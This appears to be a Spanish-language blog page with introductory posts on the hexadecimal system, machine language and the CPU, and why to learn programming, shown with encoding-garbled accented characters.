Sistema Numérico Hexadecimal

Sistema Numérico Hexadecimal

El sistema num√©rico hexadecimal, o simplemente hexadecimal (abreviado Hex)¬†¬†es un sistema de numeraci√≥n de base 16, es decir, para representar cualquier n√ļmero se utilizan 16 d√≠gitos los cuales son:

0, 1, 2, 3, 4, 5, 6, 7, 8 ,9, A, B, C, D, E, F

Read More

Bycarenki

El lenguaje de las computadoras parte I

El lenguaje de las computadoras

Programar sistemas no es otra cosa que escribir instrucciones que las computadoras utilizar√°n para realizar alguna tarea o actividad de acuerdo a un requerimiento. Normalmente para escribir estos programas se requiere un Lenguaje de Programaci√≥n, que dependiendo sus caracter√≠sticas nos ayudar√° a completar una tarea (programa), es importante se√Īalar que la gran cantidad de lenguajes existentes se debe a que cada lenguaje cubre mejor una necesidad que otro dependiendo la complejidad, condiciones de desarrollo y tama√Īo de un problema determinado.

Sin embargo, sin importar el lenguaje de programaci√≥n utilizado para desarrollar un programa, la m√°quina que ejecutar√° dicho programa solo procesar√° las instrucciones en su propio “idioma”: El lenguaje m√°quina

El lenguaje m√°quina es espec√≠fico de cada familia de computadoras, sin embargo todos tienen algo un com√ļn, est√° formado de secuencias de bits, la forma de organizarlos e interpretarlos depender√° de la arquitectura de la familia de computadoras.

Para comprender las instrucciones que una computadora ejecuta es necesario recordar la materia prima que las hace funcionar: La electricidad.

Consideremos lo siguiente. Una dispositivo el√©ctrico (cualquiera) tiene 2 estados fundamentales: encendido o apagado. No hay estados intermedios, no podemos tener un equipo “medio encendido”. Simplemente est√° encendido o apagado.

El procesador o CPU

CPU: Unidad Central de Procesamiento

CPU: Unidad Central de Procesamiento

El corazón de una computadora (sea PC de escritorio, celular o dispositivo inteligente) es un circuito denominado Unidad Central de Proceso (CPU) o simplemente procesador y aprovecha una característica de la electricidad (estado prendido/apagado) para codificar instrucciones.

Está fuera del alcance de este documento describir la electrónica que realiza esta tarea.

Lo importante en este punto es resaltar que el coraz√≥n de una computadora se basa en el principio de encender o apagar impulsos el√©ctricos, de forma controlada. Este encendido y apagado controlado se logra precisamente a partir de la programaci√≥n del mismo microprocesador y de instrucciones que indican de qu√© forma y en qu√© momento se deben encender o apagar esas se√Īales el√©ctricas dentro del procesador y en toda la circuiter√≠a de una computadora.

Precisamente esta codificaci√≥n de encendido y apagado de se√Īales el√©ctricas dentro de los circuitos de la computadora es el llamado Lenguaje M√°quina.

Lenguaje.

Resulta conveniente definir el significado de lenguaje, dado que se utiliza ampliamente en este curso.

“Un¬†lenguaje¬†es un sistema de comunicaci√≥n¬†estructurado para el que existe un¬†contexto¬†de uso y ciertos principios combinatorios formales. Existen contextos tanto naturales como artificiales (1)”

De acuerdo con el diccionario de la Real Academia Espa√Īol.

“7.¬†m.¬†Inform.¬†Conjunto¬†de¬†signos¬†y¬†reglas¬†que¬†permite¬†la¬†comunicaci√≥n¬†con¬†una computadora.” (2)¬†y¬†

lenguaje máquina

“1.¬†m.¬†Inform.¬†Conjunto¬†de¬†instrucciones¬†codificadas¬†que¬†una¬†computadora interpreta¬†y¬†ejecuta¬†directamente.”¬†(2)

Recuerda: Este es un ejemplo extremadamente simplificado pero que permite comprender como es que con 1’s y 0’s podemos dar instrucciones a una computadora.

Este documento es un borrador y se encuentra en fase de desarrollo. Si tienes alguna aportación y/o corrección será bienvenida

*Este artículo originalmente se presentó en ehack.site

 

 

 


Fuente Im√°genes:

“El lenguaje de las computadoras: El lenguaje m√°quina”: Imagen cortes√≠a by Stuart Miles en¬†FreeDigitalPhotos.net
“CPU: Unidad Central de Procesamiento”: Imagen cortes√≠a by¬†Intel
“Lenguaje m√°quina”: Imagen cortes√≠a by dream designs¬†en¬†FreeDigitalPhotos.net
“Lenguaje binario”: Imagen cortes√≠a by Stuart Miles en¬†FreeDigitalPhotos.net
“Byte”: Imagen cortes√≠a by Stuart Miles en¬†FreeDigitalPhotos.net
“Bit”: Imagen cortes√≠a by Nala Systems¬†en¬†nalasys.mx

Referencias

(1) http://es.wikipedia.org/wiki/Lenguaje
(2) http://dle.rae.es/?id=N7BnIFO

 

Licencia de Creative Commons¬ŅPor qu√© aprender a programar? by carenki para HPSI is licensed under a Creative Commons Reconocimiento-NoComercial-CompartirIgual 4.0 Internacional License.

 

Bycarenki

¬ŅPor qu√© aprender a programar?

En estos tiempos en que se pueden descargar, ya sea de forma gratuita o de paga, miles de aplicaciones para pr√°cticamente cualquier actividad cotidiana y muchas actividades especializadas, puede surgir la pregunta “¬ŅPara qu√© quiero aprender a programar si ya (casi) todo est√° hecho?”

Read More